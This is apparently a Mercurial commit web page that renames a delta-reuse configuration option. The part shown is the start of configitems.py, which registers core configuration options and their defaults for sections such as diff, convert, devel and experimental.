##// END OF EJS Templates
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`...
marmoute -
r51102:f35cf52a default
parent child Browse files
Show More
@@ -1,2923 +1,2923 b''
1 1 # configitems.py - centralized declaration of configuration option
2 2 #
3 3 # Copyright 2017 Pierre-Yves David <pierre-yves.david@octobus.net>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8
9 9 import functools
10 10 import re
11 11
12 12 from . import (
13 13 encoding,
14 14 error,
15 15 )
16 16
17 17
18 18 def loadconfigtable(ui, extname, configtable):
19 19 """update config item known to the ui with the extension ones"""
20 20 for section, items in sorted(configtable.items()):
21 21 knownitems = ui._knownconfig.setdefault(section, itemregister())
22 22 knownkeys = set(knownitems)
23 23 newkeys = set(items)
24 24 for key in sorted(knownkeys & newkeys):
25 25 msg = b"extension '%s' overwrite config item '%s.%s'"
26 26 msg %= (extname, section, key)
27 27 ui.develwarn(msg, config=b'warn-config')
28 28
29 29 knownitems.update(items)
30 30
31 31
32 32 class configitem:
33 33 """represent a known config item
34 34
35 35 :section: the official config section where to find this item,
36 36 :name: the official name within the section,
37 37 :default: default value for this item,
38 38 :alias: optional list of tuples as alternatives,
39 39 :generic: this is a generic definition, match name using regular expression.
40 40 """
41 41
42 42 def __init__(
43 43 self,
44 44 section,
45 45 name,
46 46 default=None,
47 47 alias=(),
48 48 generic=False,
49 49 priority=0,
50 50 experimental=False,
51 51 ):
52 52 self.section = section
53 53 self.name = name
54 54 self.default = default
55 55 self.alias = list(alias)
56 56 self.generic = generic
57 57 self.priority = priority
58 58 self.experimental = experimental
59 59 self._re = None
60 60 if generic:
61 61 self._re = re.compile(self.name)
62 62
63 63
64 64 class itemregister(dict):
65 65 """A specialized dictionary that can handle wild-card selection"""
66 66
67 67 def __init__(self):
68 68 super(itemregister, self).__init__()
69 69 self._generics = set()
70 70
71 71 def update(self, other):
72 72 super(itemregister, self).update(other)
73 73 self._generics.update(other._generics)
74 74
75 75 def __setitem__(self, key, item):
76 76 super(itemregister, self).__setitem__(key, item)
77 77 if item.generic:
78 78 self._generics.add(item)
79 79
80 80 def get(self, key):
81 81 baseitem = super(itemregister, self).get(key)
82 82 if baseitem is not None and not baseitem.generic:
83 83 return baseitem
84 84
85 85 # search for a matching generic item
86 86 generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
87 87 for item in generics:
88 88 # we use 'match' instead of 'search' to make the matching simpler
89 89 # for people unfamiliar with regular expression. Having the match
90 90 # rooted to the start of the string will produce less surprising
91 91 # result for user writing simple regex for sub-attribute.
92 92 #
93 93 # For example using "color\..*" match produces an unsurprising
94 94 # result, while using search could suddenly match apparently
95 95 # unrelated configuration that happens to contains "color."
96 96 # anywhere. This is a tradeoff where we favor requiring ".*" on
97 97 # some match to avoid the need to prefix most pattern with "^".
98 98 # The "^" seems more error prone.
99 99 if item._re.match(key):
100 100 return item
101 101
102 102 return None
103 103
104 104
105 105 coreitems = {}
106 106
107 107
108 108 def _register(configtable, *args, **kwargs):
109 109 item = configitem(*args, **kwargs)
110 110 section = configtable.setdefault(item.section, itemregister())
111 111 if item.name in section:
112 112 msg = b"duplicated config item registration for '%s.%s'"
113 113 raise error.ProgrammingError(msg % (item.section, item.name))
114 114 section[item.name] = item
115 115
116 116
117 117 # special value for case where the default is derived from other values
118 118 dynamicdefault = object()
119 119
120 120 # Registering actual config items
121 121
122 122
123 123 def getitemregister(configtable):
124 124 f = functools.partial(_register, configtable)
125 125 # export pseudo enum as configitem.*
126 126 f.dynamicdefault = dynamicdefault
127 127 return f
128 128
129 129
130 130 coreconfigitem = getitemregister(coreitems)
131 131
132 132
133 133 def _registerdiffopts(section, configprefix=b''):
134 134 coreconfigitem(
135 135 section,
136 136 configprefix + b'nodates',
137 137 default=False,
138 138 )
139 139 coreconfigitem(
140 140 section,
141 141 configprefix + b'showfunc',
142 142 default=False,
143 143 )
144 144 coreconfigitem(
145 145 section,
146 146 configprefix + b'unified',
147 147 default=None,
148 148 )
149 149 coreconfigitem(
150 150 section,
151 151 configprefix + b'git',
152 152 default=False,
153 153 )
154 154 coreconfigitem(
155 155 section,
156 156 configprefix + b'ignorews',
157 157 default=False,
158 158 )
159 159 coreconfigitem(
160 160 section,
161 161 configprefix + b'ignorewsamount',
162 162 default=False,
163 163 )
164 164 coreconfigitem(
165 165 section,
166 166 configprefix + b'ignoreblanklines',
167 167 default=False,
168 168 )
169 169 coreconfigitem(
170 170 section,
171 171 configprefix + b'ignorewseol',
172 172 default=False,
173 173 )
174 174 coreconfigitem(
175 175 section,
176 176 configprefix + b'nobinary',
177 177 default=False,
178 178 )
179 179 coreconfigitem(
180 180 section,
181 181 configprefix + b'noprefix',
182 182 default=False,
183 183 )
184 184 coreconfigitem(
185 185 section,
186 186 configprefix + b'word-diff',
187 187 default=False,
188 188 )
189 189
190 190
191 191 coreconfigitem(
192 192 b'alias',
193 193 b'.*',
194 194 default=dynamicdefault,
195 195 generic=True,
196 196 )
197 197 coreconfigitem(
198 198 b'auth',
199 199 b'cookiefile',
200 200 default=None,
201 201 )
202 202 _registerdiffopts(section=b'annotate')
203 203 # bookmarks.pushing: internal hack for discovery
204 204 coreconfigitem(
205 205 b'bookmarks',
206 206 b'pushing',
207 207 default=list,
208 208 )
209 209 # bundle.mainreporoot: internal hack for bundlerepo
210 210 coreconfigitem(
211 211 b'bundle',
212 212 b'mainreporoot',
213 213 default=b'',
214 214 )
215 215 coreconfigitem(
216 216 b'censor',
217 217 b'policy',
218 218 default=b'abort',
219 219 experimental=True,
220 220 )
221 221 coreconfigitem(
222 222 b'chgserver',
223 223 b'idletimeout',
224 224 default=3600,
225 225 )
226 226 coreconfigitem(
227 227 b'chgserver',
228 228 b'skiphash',
229 229 default=False,
230 230 )
231 231 coreconfigitem(
232 232 b'cmdserver',
233 233 b'log',
234 234 default=None,
235 235 )
236 236 coreconfigitem(
237 237 b'cmdserver',
238 238 b'max-log-files',
239 239 default=7,
240 240 )
241 241 coreconfigitem(
242 242 b'cmdserver',
243 243 b'max-log-size',
244 244 default=b'1 MB',
245 245 )
246 246 coreconfigitem(
247 247 b'cmdserver',
248 248 b'max-repo-cache',
249 249 default=0,
250 250 experimental=True,
251 251 )
252 252 coreconfigitem(
253 253 b'cmdserver',
254 254 b'message-encodings',
255 255 default=list,
256 256 )
257 257 coreconfigitem(
258 258 b'cmdserver',
259 259 b'track-log',
260 260 default=lambda: [b'chgserver', b'cmdserver', b'repocache'],
261 261 )
262 262 coreconfigitem(
263 263 b'cmdserver',
264 264 b'shutdown-on-interrupt',
265 265 default=True,
266 266 )
267 267 coreconfigitem(
268 268 b'color',
269 269 b'.*',
270 270 default=None,
271 271 generic=True,
272 272 )
273 273 coreconfigitem(
274 274 b'color',
275 275 b'mode',
276 276 default=b'auto',
277 277 )
278 278 coreconfigitem(
279 279 b'color',
280 280 b'pagermode',
281 281 default=dynamicdefault,
282 282 )
283 283 coreconfigitem(
284 284 b'command-templates',
285 285 b'graphnode',
286 286 default=None,
287 287 alias=[(b'ui', b'graphnodetemplate')],
288 288 )
289 289 coreconfigitem(
290 290 b'command-templates',
291 291 b'log',
292 292 default=None,
293 293 alias=[(b'ui', b'logtemplate')],
294 294 )
295 295 coreconfigitem(
296 296 b'command-templates',
297 297 b'mergemarker',
298 298 default=(
299 299 b'{node|short} '
300 300 b'{ifeq(tags, "tip", "", '
301 301 b'ifeq(tags, "", "", "{tags} "))}'
302 302 b'{if(bookmarks, "{bookmarks} ")}'
303 303 b'{ifeq(branch, "default", "", "{branch} ")}'
304 304 b'- {author|user}: {desc|firstline}'
305 305 ),
306 306 alias=[(b'ui', b'mergemarkertemplate')],
307 307 )
308 308 coreconfigitem(
309 309 b'command-templates',
310 310 b'pre-merge-tool-output',
311 311 default=None,
312 312 alias=[(b'ui', b'pre-merge-tool-output-template')],
313 313 )
314 314 coreconfigitem(
315 315 b'command-templates',
316 316 b'oneline-summary',
317 317 default=None,
318 318 )
319 319 coreconfigitem(
320 320 b'command-templates',
321 321 b'oneline-summary.*',
322 322 default=dynamicdefault,
323 323 generic=True,
324 324 )
325 325 _registerdiffopts(section=b'commands', configprefix=b'commit.interactive.')
326 326 coreconfigitem(
327 327 b'commands',
328 328 b'commit.post-status',
329 329 default=False,
330 330 )
331 331 coreconfigitem(
332 332 b'commands',
333 333 b'grep.all-files',
334 334 default=False,
335 335 experimental=True,
336 336 )
337 337 coreconfigitem(
338 338 b'commands',
339 339 b'merge.require-rev',
340 340 default=False,
341 341 )
342 342 coreconfigitem(
343 343 b'commands',
344 344 b'push.require-revs',
345 345 default=False,
346 346 )
347 347 coreconfigitem(
348 348 b'commands',
349 349 b'resolve.confirm',
350 350 default=False,
351 351 )
352 352 coreconfigitem(
353 353 b'commands',
354 354 b'resolve.explicit-re-merge',
355 355 default=False,
356 356 )
357 357 coreconfigitem(
358 358 b'commands',
359 359 b'resolve.mark-check',
360 360 default=b'none',
361 361 )
362 362 _registerdiffopts(section=b'commands', configprefix=b'revert.interactive.')
363 363 coreconfigitem(
364 364 b'commands',
365 365 b'show.aliasprefix',
366 366 default=list,
367 367 )
368 368 coreconfigitem(
369 369 b'commands',
370 370 b'status.relative',
371 371 default=False,
372 372 )
373 373 coreconfigitem(
374 374 b'commands',
375 375 b'status.skipstates',
376 376 default=[],
377 377 experimental=True,
378 378 )
379 379 coreconfigitem(
380 380 b'commands',
381 381 b'status.terse',
382 382 default=b'',
383 383 )
384 384 coreconfigitem(
385 385 b'commands',
386 386 b'status.verbose',
387 387 default=False,
388 388 )
389 389 coreconfigitem(
390 390 b'commands',
391 391 b'update.check',
392 392 default=None,
393 393 )
394 394 coreconfigitem(
395 395 b'commands',
396 396 b'update.requiredest',
397 397 default=False,
398 398 )
399 399 coreconfigitem(
400 400 b'committemplate',
401 401 b'.*',
402 402 default=None,
403 403 generic=True,
404 404 )
405 405 coreconfigitem(
406 406 b'convert',
407 407 b'bzr.saverev',
408 408 default=True,
409 409 )
410 410 coreconfigitem(
411 411 b'convert',
412 412 b'cvsps.cache',
413 413 default=True,
414 414 )
415 415 coreconfigitem(
416 416 b'convert',
417 417 b'cvsps.fuzz',
418 418 default=60,
419 419 )
420 420 coreconfigitem(
421 421 b'convert',
422 422 b'cvsps.logencoding',
423 423 default=None,
424 424 )
425 425 coreconfigitem(
426 426 b'convert',
427 427 b'cvsps.mergefrom',
428 428 default=None,
429 429 )
430 430 coreconfigitem(
431 431 b'convert',
432 432 b'cvsps.mergeto',
433 433 default=None,
434 434 )
435 435 coreconfigitem(
436 436 b'convert',
437 437 b'git.committeractions',
438 438 default=lambda: [b'messagedifferent'],
439 439 )
440 440 coreconfigitem(
441 441 b'convert',
442 442 b'git.extrakeys',
443 443 default=list,
444 444 )
445 445 coreconfigitem(
446 446 b'convert',
447 447 b'git.findcopiesharder',
448 448 default=False,
449 449 )
450 450 coreconfigitem(
451 451 b'convert',
452 452 b'git.remoteprefix',
453 453 default=b'remote',
454 454 )
455 455 coreconfigitem(
456 456 b'convert',
457 457 b'git.renamelimit',
458 458 default=400,
459 459 )
460 460 coreconfigitem(
461 461 b'convert',
462 462 b'git.saverev',
463 463 default=True,
464 464 )
465 465 coreconfigitem(
466 466 b'convert',
467 467 b'git.similarity',
468 468 default=50,
469 469 )
470 470 coreconfigitem(
471 471 b'convert',
472 472 b'git.skipsubmodules',
473 473 default=False,
474 474 )
475 475 coreconfigitem(
476 476 b'convert',
477 477 b'hg.clonebranches',
478 478 default=False,
479 479 )
480 480 coreconfigitem(
481 481 b'convert',
482 482 b'hg.ignoreerrors',
483 483 default=False,
484 484 )
485 485 coreconfigitem(
486 486 b'convert',
487 487 b'hg.preserve-hash',
488 488 default=False,
489 489 )
490 490 coreconfigitem(
491 491 b'convert',
492 492 b'hg.revs',
493 493 default=None,
494 494 )
495 495 coreconfigitem(
496 496 b'convert',
497 497 b'hg.saverev',
498 498 default=False,
499 499 )
500 500 coreconfigitem(
501 501 b'convert',
502 502 b'hg.sourcename',
503 503 default=None,
504 504 )
505 505 coreconfigitem(
506 506 b'convert',
507 507 b'hg.startrev',
508 508 default=None,
509 509 )
510 510 coreconfigitem(
511 511 b'convert',
512 512 b'hg.tagsbranch',
513 513 default=b'default',
514 514 )
515 515 coreconfigitem(
516 516 b'convert',
517 517 b'hg.usebranchnames',
518 518 default=True,
519 519 )
520 520 coreconfigitem(
521 521 b'convert',
522 522 b'ignoreancestorcheck',
523 523 default=False,
524 524 experimental=True,
525 525 )
526 526 coreconfigitem(
527 527 b'convert',
528 528 b'localtimezone',
529 529 default=False,
530 530 )
531 531 coreconfigitem(
532 532 b'convert',
533 533 b'p4.encoding',
534 534 default=dynamicdefault,
535 535 )
536 536 coreconfigitem(
537 537 b'convert',
538 538 b'p4.startrev',
539 539 default=0,
540 540 )
541 541 coreconfigitem(
542 542 b'convert',
543 543 b'skiptags',
544 544 default=False,
545 545 )
546 546 coreconfigitem(
547 547 b'convert',
548 548 b'svn.debugsvnlog',
549 549 default=True,
550 550 )
551 551 coreconfigitem(
552 552 b'convert',
553 553 b'svn.trunk',
554 554 default=None,
555 555 )
556 556 coreconfigitem(
557 557 b'convert',
558 558 b'svn.tags',
559 559 default=None,
560 560 )
561 561 coreconfigitem(
562 562 b'convert',
563 563 b'svn.branches',
564 564 default=None,
565 565 )
566 566 coreconfigitem(
567 567 b'convert',
568 568 b'svn.startrev',
569 569 default=0,
570 570 )
571 571 coreconfigitem(
572 572 b'convert',
573 573 b'svn.dangerous-set-commit-dates',
574 574 default=False,
575 575 )
576 576 coreconfigitem(
577 577 b'debug',
578 578 b'dirstate.delaywrite',
579 579 default=0,
580 580 )
581 581 coreconfigitem(
582 582 b'debug',
583 583 b'revlog.verifyposition.changelog',
584 584 default=b'',
585 585 )
586 586 coreconfigitem(
587 587 b'debug',
588 588 b'revlog.debug-delta',
589 589 default=False,
590 590 )
591 591 # display extra information about the bundling process
592 592 coreconfigitem(
593 593 b'debug',
594 594 b'bundling-stats',
595 595 default=False,
596 596 )
597 597 # display extra information about the unbundling process
598 598 coreconfigitem(
599 599 b'debug',
600 600 b'unbundling-stats',
601 601 default=False,
602 602 )
603 603 coreconfigitem(
604 604 b'defaults',
605 605 b'.*',
606 606 default=None,
607 607 generic=True,
608 608 )
609 609 coreconfigitem(
610 610 b'devel',
611 611 b'all-warnings',
612 612 default=False,
613 613 )
614 614 coreconfigitem(
615 615 b'devel',
616 616 b'bundle2.debug',
617 617 default=False,
618 618 )
619 619 coreconfigitem(
620 620 b'devel',
621 621 b'bundle.delta',
622 622 default=b'',
623 623 )
624 624 coreconfigitem(
625 625 b'devel',
626 626 b'cache-vfs',
627 627 default=None,
628 628 )
629 629 coreconfigitem(
630 630 b'devel',
631 631 b'check-locks',
632 632 default=False,
633 633 )
634 634 coreconfigitem(
635 635 b'devel',
636 636 b'check-relroot',
637 637 default=False,
638 638 )
639 639 # Track copy information for all file, not just "added" one (very slow)
640 640 coreconfigitem(
641 641 b'devel',
642 642 b'copy-tracing.trace-all-files',
643 643 default=False,
644 644 )
645 645 coreconfigitem(
646 646 b'devel',
647 647 b'default-date',
648 648 default=None,
649 649 )
650 650 coreconfigitem(
651 651 b'devel',
652 652 b'deprec-warn',
653 653 default=False,
654 654 )
655 655 coreconfigitem(
656 656 b'devel',
657 657 b'disableloaddefaultcerts',
658 658 default=False,
659 659 )
660 660 coreconfigitem(
661 661 b'devel',
662 662 b'warn-empty-changegroup',
663 663 default=False,
664 664 )
665 665 coreconfigitem(
666 666 b'devel',
667 667 b'legacy.exchange',
668 668 default=list,
669 669 )
670 670 # When True, revlogs use a special reference version of the nodemap, that is not
671 671 # performant but is "known" to behave properly.
672 672 coreconfigitem(
673 673 b'devel',
674 674 b'persistent-nodemap',
675 675 default=False,
676 676 )
677 677 coreconfigitem(
678 678 b'devel',
679 679 b'servercafile',
680 680 default=b'',
681 681 )
682 682 coreconfigitem(
683 683 b'devel',
684 684 b'serverexactprotocol',
685 685 default=b'',
686 686 )
687 687 coreconfigitem(
688 688 b'devel',
689 689 b'serverrequirecert',
690 690 default=False,
691 691 )
692 692 coreconfigitem(
693 693 b'devel',
694 694 b'strip-obsmarkers',
695 695 default=True,
696 696 )
697 697 coreconfigitem(
698 698 b'devel',
699 699 b'warn-config',
700 700 default=None,
701 701 )
702 702 coreconfigitem(
703 703 b'devel',
704 704 b'warn-config-default',
705 705 default=None,
706 706 )
707 707 coreconfigitem(
708 708 b'devel',
709 709 b'user.obsmarker',
710 710 default=None,
711 711 )
712 712 coreconfigitem(
713 713 b'devel',
714 714 b'warn-config-unknown',
715 715 default=None,
716 716 )
717 717 coreconfigitem(
718 718 b'devel',
719 719 b'debug.copies',
720 720 default=False,
721 721 )
722 722 coreconfigitem(
723 723 b'devel',
724 724 b'copy-tracing.multi-thread',
725 725 default=True,
726 726 )
727 727 coreconfigitem(
728 728 b'devel',
729 729 b'debug.extensions',
730 730 default=False,
731 731 )
732 732 coreconfigitem(
733 733 b'devel',
734 734 b'debug.repo-filters',
735 735 default=False,
736 736 )
737 737 coreconfigitem(
738 738 b'devel',
739 739 b'debug.peer-request',
740 740 default=False,
741 741 )
742 742 # If discovery.exchange-heads is False, the discovery will not start with
743 743 # remote head fetching and local head querying.
744 744 coreconfigitem(
745 745 b'devel',
746 746 b'discovery.exchange-heads',
747 747 default=True,
748 748 )
749 749 # If devel.debug.abort-update is True, then any merge with the working copy,
750 750 # e.g. [hg update], will be aborted after figuring out what needs to be done,
751 751 # but before spawning the parallel worker
752 752 coreconfigitem(
753 753 b'devel',
754 754 b'debug.abort-update',
755 755 default=False,
756 756 )
757 757 # If discovery.grow-sample is False, the sample size used in set discovery will
758 758 # not be increased through the process
759 759 coreconfigitem(
760 760 b'devel',
761 761 b'discovery.grow-sample',
762 762 default=True,
763 763 )
764 764 # When discovery.grow-sample.dynamic is True, the default, the sample size is
765 765 # adapted to the shape of the undecided set (it is set to the max of:
766 766 # <target-size>, len(roots(undecided)), len(heads(undecided)
767 767 coreconfigitem(
768 768 b'devel',
769 769 b'discovery.grow-sample.dynamic',
770 770 default=True,
771 771 )
772 772 # discovery.grow-sample.rate control the rate at which the sample grow
773 773 coreconfigitem(
774 774 b'devel',
775 775 b'discovery.grow-sample.rate',
776 776 default=1.05,
777 777 )
778 778 # If discovery.randomize is False, random sampling during discovery are
779 779 # deterministic. It is meant for integration tests.
780 780 coreconfigitem(
781 781 b'devel',
782 782 b'discovery.randomize',
783 783 default=True,
784 784 )
785 785 # Control the initial size of the discovery sample
786 786 coreconfigitem(
787 787 b'devel',
788 788 b'discovery.sample-size',
789 789 default=200,
790 790 )
791 791 # Control the initial size of the discovery for initial change
792 792 coreconfigitem(
793 793 b'devel',
794 794 b'discovery.sample-size.initial',
795 795 default=100,
796 796 )
797 797 _registerdiffopts(section=b'diff')
798 798 coreconfigitem(
799 799 b'diff',
800 800 b'merge',
801 801 default=False,
802 802 experimental=True,
803 803 )
804 804 coreconfigitem(
805 805 b'email',
806 806 b'bcc',
807 807 default=None,
808 808 )
809 809 coreconfigitem(
810 810 b'email',
811 811 b'cc',
812 812 default=None,
813 813 )
814 814 coreconfigitem(
815 815 b'email',
816 816 b'charsets',
817 817 default=list,
818 818 )
819 819 coreconfigitem(
820 820 b'email',
821 821 b'from',
822 822 default=None,
823 823 )
824 824 coreconfigitem(
825 825 b'email',
826 826 b'method',
827 827 default=b'smtp',
828 828 )
829 829 coreconfigitem(
830 830 b'email',
831 831 b'reply-to',
832 832 default=None,
833 833 )
834 834 coreconfigitem(
835 835 b'email',
836 836 b'to',
837 837 default=None,
838 838 )
839 839 coreconfigitem(
840 840 b'experimental',
841 841 b'archivemetatemplate',
842 842 default=dynamicdefault,
843 843 )
844 844 coreconfigitem(
845 845 b'experimental',
846 846 b'auto-publish',
847 847 default=b'publish',
848 848 )
849 849 coreconfigitem(
850 850 b'experimental',
851 851 b'bundle-phases',
852 852 default=False,
853 853 )
854 854 coreconfigitem(
855 855 b'experimental',
856 856 b'bundle2-advertise',
857 857 default=True,
858 858 )
859 859 coreconfigitem(
860 860 b'experimental',
861 861 b'bundle2-output-capture',
862 862 default=False,
863 863 )
864 864 coreconfigitem(
865 865 b'experimental',
866 866 b'bundle2.pushback',
867 867 default=False,
868 868 )
869 869 coreconfigitem(
870 870 b'experimental',
871 871 b'bundle2lazylocking',
872 872 default=False,
873 873 )
874 874 coreconfigitem(
875 875 b'experimental',
876 876 b'bundlecomplevel',
877 877 default=None,
878 878 )
879 879 coreconfigitem(
880 880 b'experimental',
881 881 b'bundlecomplevel.bzip2',
882 882 default=None,
883 883 )
884 884 coreconfigitem(
885 885 b'experimental',
886 886 b'bundlecomplevel.gzip',
887 887 default=None,
888 888 )
889 889 coreconfigitem(
890 890 b'experimental',
891 891 b'bundlecomplevel.none',
892 892 default=None,
893 893 )
894 894 coreconfigitem(
895 895 b'experimental',
896 896 b'bundlecomplevel.zstd',
897 897 default=None,
898 898 )
899 899 coreconfigitem(
900 900 b'experimental',
901 901 b'bundlecompthreads',
902 902 default=None,
903 903 )
904 904 coreconfigitem(
905 905 b'experimental',
906 906 b'bundlecompthreads.bzip2',
907 907 default=None,
908 908 )
909 909 coreconfigitem(
910 910 b'experimental',
911 911 b'bundlecompthreads.gzip',
912 912 default=None,
913 913 )
914 914 coreconfigitem(
915 915 b'experimental',
916 916 b'bundlecompthreads.none',
917 917 default=None,
918 918 )
919 919 coreconfigitem(
920 920 b'experimental',
921 921 b'bundlecompthreads.zstd',
922 922 default=None,
923 923 )
924 924 coreconfigitem(
925 925 b'experimental',
926 926 b'changegroup3',
927 927 default=False,
928 928 )
929 929 coreconfigitem(
930 930 b'experimental',
931 931 b'changegroup4',
932 932 default=False,
933 933 )
934 934
935 935 # might remove rank configuration once the computation has no impact
936 936 coreconfigitem(
937 937 b'experimental',
938 938 b'changelog-v2.compute-rank',
939 939 default=True,
940 940 )
941 941 coreconfigitem(
942 942 b'experimental',
943 943 b'cleanup-as-archived',
944 944 default=False,
945 945 )
946 946 coreconfigitem(
947 947 b'experimental',
948 948 b'clientcompressionengines',
949 949 default=list,
950 950 )
951 951 coreconfigitem(
952 952 b'experimental',
953 953 b'copytrace',
954 954 default=b'on',
955 955 )
956 956 coreconfigitem(
957 957 b'experimental',
958 958 b'copytrace.movecandidateslimit',
959 959 default=100,
960 960 )
961 961 coreconfigitem(
962 962 b'experimental',
963 963 b'copytrace.sourcecommitlimit',
964 964 default=100,
965 965 )
966 966 coreconfigitem(
967 967 b'experimental',
968 968 b'copies.read-from',
969 969 default=b"filelog-only",
970 970 )
971 971 coreconfigitem(
972 972 b'experimental',
973 973 b'copies.write-to',
974 974 default=b'filelog-only',
975 975 )
976 976 coreconfigitem(
977 977 b'experimental',
978 978 b'crecordtest',
979 979 default=None,
980 980 )
981 981 coreconfigitem(
982 982 b'experimental',
983 983 b'directaccess',
984 984 default=False,
985 985 )
986 986 coreconfigitem(
987 987 b'experimental',
988 988 b'directaccess.revnums',
989 989 default=False,
990 990 )
991 991 coreconfigitem(
992 992 b'experimental',
993 993 b'editortmpinhg',
994 994 default=False,
995 995 )
996 996 coreconfigitem(
997 997 b'experimental',
998 998 b'evolution',
999 999 default=list,
1000 1000 )
1001 1001 coreconfigitem(
1002 1002 b'experimental',
1003 1003 b'evolution.allowdivergence',
1004 1004 default=False,
1005 1005 alias=[(b'experimental', b'allowdivergence')],
1006 1006 )
1007 1007 coreconfigitem(
1008 1008 b'experimental',
1009 1009 b'evolution.allowunstable',
1010 1010 default=None,
1011 1011 )
1012 1012 coreconfigitem(
1013 1013 b'experimental',
1014 1014 b'evolution.createmarkers',
1015 1015 default=None,
1016 1016 )
1017 1017 coreconfigitem(
1018 1018 b'experimental',
1019 1019 b'evolution.effect-flags',
1020 1020 default=True,
1021 1021 alias=[(b'experimental', b'effect-flags')],
1022 1022 )
1023 1023 coreconfigitem(
1024 1024 b'experimental',
1025 1025 b'evolution.exchange',
1026 1026 default=None,
1027 1027 )
1028 1028 coreconfigitem(
1029 1029 b'experimental',
1030 1030 b'evolution.bundle-obsmarker',
1031 1031 default=False,
1032 1032 )
1033 1033 coreconfigitem(
1034 1034 b'experimental',
1035 1035 b'evolution.bundle-obsmarker:mandatory',
1036 1036 default=True,
1037 1037 )
1038 1038 coreconfigitem(
1039 1039 b'experimental',
1040 1040 b'log.topo',
1041 1041 default=False,
1042 1042 )
1043 1043 coreconfigitem(
1044 1044 b'experimental',
1045 1045 b'evolution.report-instabilities',
1046 1046 default=True,
1047 1047 )
1048 1048 coreconfigitem(
1049 1049 b'experimental',
1050 1050 b'evolution.track-operation',
1051 1051 default=True,
1052 1052 )
1053 1053 # repo-level config to exclude a revset visibility
1054 1054 #
1055 1055 # The target use case is to use `share` to expose different subset of the same
1056 1056 # repository, especially server side. See also `server.view`.
1057 1057 coreconfigitem(
1058 1058 b'experimental',
1059 1059 b'extra-filter-revs',
1060 1060 default=None,
1061 1061 )
1062 1062 coreconfigitem(
1063 1063 b'experimental',
1064 1064 b'maxdeltachainspan',
1065 1065 default=-1,
1066 1066 )
1067 1067 # tracks files which were undeleted (merge might delete them but we explicitly
1068 1068 # kept/undeleted them) and creates new filenodes for them
1069 1069 coreconfigitem(
1070 1070 b'experimental',
1071 1071 b'merge-track-salvaged',
1072 1072 default=False,
1073 1073 )
1074 1074 coreconfigitem(
1075 1075 b'experimental',
1076 1076 b'mmapindexthreshold',
1077 1077 default=None,
1078 1078 )
1079 1079 coreconfigitem(
1080 1080 b'experimental',
1081 1081 b'narrow',
1082 1082 default=False,
1083 1083 )
1084 1084 coreconfigitem(
1085 1085 b'experimental',
1086 1086 b'nonnormalparanoidcheck',
1087 1087 default=False,
1088 1088 )
1089 1089 coreconfigitem(
1090 1090 b'experimental',
1091 1091 b'exportableenviron',
1092 1092 default=list,
1093 1093 )
1094 1094 coreconfigitem(
1095 1095 b'experimental',
1096 1096 b'extendedheader.index',
1097 1097 default=None,
1098 1098 )
1099 1099 coreconfigitem(
1100 1100 b'experimental',
1101 1101 b'extendedheader.similarity',
1102 1102 default=False,
1103 1103 )
1104 1104 coreconfigitem(
1105 1105 b'experimental',
1106 1106 b'graphshorten',
1107 1107 default=False,
1108 1108 )
1109 1109 coreconfigitem(
1110 1110 b'experimental',
1111 1111 b'graphstyle.parent',
1112 1112 default=dynamicdefault,
1113 1113 )
1114 1114 coreconfigitem(
1115 1115 b'experimental',
1116 1116 b'graphstyle.missing',
1117 1117 default=dynamicdefault,
1118 1118 )
1119 1119 coreconfigitem(
1120 1120 b'experimental',
1121 1121 b'graphstyle.grandparent',
1122 1122 default=dynamicdefault,
1123 1123 )
1124 1124 coreconfigitem(
1125 1125 b'experimental',
1126 1126 b'hook-track-tags',
1127 1127 default=False,
1128 1128 )
1129 1129 coreconfigitem(
1130 1130 b'experimental',
1131 1131 b'httppostargs',
1132 1132 default=False,
1133 1133 )
1134 1134 coreconfigitem(b'experimental', b'nointerrupt', default=False)
1135 1135 coreconfigitem(b'experimental', b'nointerrupt-interactiveonly', default=True)
1136 1136
1137 1137 coreconfigitem(
1138 1138 b'experimental',
1139 1139 b'obsmarkers-exchange-debug',
1140 1140 default=False,
1141 1141 )
1142 1142 coreconfigitem(
1143 1143 b'experimental',
1144 1144 b'remotenames',
1145 1145 default=False,
1146 1146 )
1147 1147 coreconfigitem(
1148 1148 b'experimental',
1149 1149 b'removeemptydirs',
1150 1150 default=True,
1151 1151 )
1152 1152 coreconfigitem(
1153 1153 b'experimental',
1154 1154 b'revert.interactive.select-to-keep',
1155 1155 default=False,
1156 1156 )
1157 1157 coreconfigitem(
1158 1158 b'experimental',
1159 1159 b'revisions.prefixhexnode',
1160 1160 default=False,
1161 1161 )
1162 1162 # "out of experimental" todo list.
1163 1163 #
1164 1164 # * include management of a persistent nodemap in the main docket
1165 1165 # * enforce a "no-truncate" policy for mmap safety
1166 1166 # - for censoring operation
1167 1167 # - for stripping operation
1168 1168 # - for rollback operation
1169 1169 # * proper streaming (race free) of the docket file
1170 1170 # * track garbage data to evemtually allow rewriting -existing- sidedata.
1171 1171 # * Exchange-wise, we will also need to do something more efficient than
1172 1172 # keeping references to the affected revlogs, especially memory-wise when
1173 1173 # rewriting sidedata.
1174 1174 # * introduce a proper solution to reduce the number of filelog related files.
1175 1175 # * use caching for reading sidedata (similar to what we do for data).
1176 1176 # * no longer set offset=0 if sidedata_size=0 (simplify cutoff computation).
1177 1177 # * Improvement to consider
1178 1178 # - avoid compression header in chunk using the default compression?
1179 1179 # - forbid "inline" compression mode entirely?
1180 1180 # - split the data offset and flag field (the 2 bytes save are mostly trouble)
1181 1181 # - keep track of uncompressed -chunk- size (to preallocate memory better)
1182 1182 # - keep track of chain base or size (probably not that useful anymore)
1183 1183 coreconfigitem(
1184 1184 b'experimental',
1185 1185 b'revlogv2',
1186 1186 default=None,
1187 1187 )
1188 1188 coreconfigitem(
1189 1189 b'experimental',
1190 1190 b'revisions.disambiguatewithin',
1191 1191 default=None,
1192 1192 )
1193 1193 coreconfigitem(
1194 1194 b'experimental',
1195 1195 b'rust.index',
1196 1196 default=False,
1197 1197 )
1198 1198 coreconfigitem(
1199 1199 b'experimental',
1200 1200 b'server.filesdata.recommended-batch-size',
1201 1201 default=50000,
1202 1202 )
1203 1203 coreconfigitem(
1204 1204 b'experimental',
1205 1205 b'server.manifestdata.recommended-batch-size',
1206 1206 default=100000,
1207 1207 )
1208 1208 coreconfigitem(
1209 1209 b'experimental',
1210 1210 b'server.stream-narrow-clones',
1211 1211 default=False,
1212 1212 )
1213 1213 coreconfigitem(
1214 1214 b'experimental',
1215 1215 b'single-head-per-branch',
1216 1216 default=False,
1217 1217 )
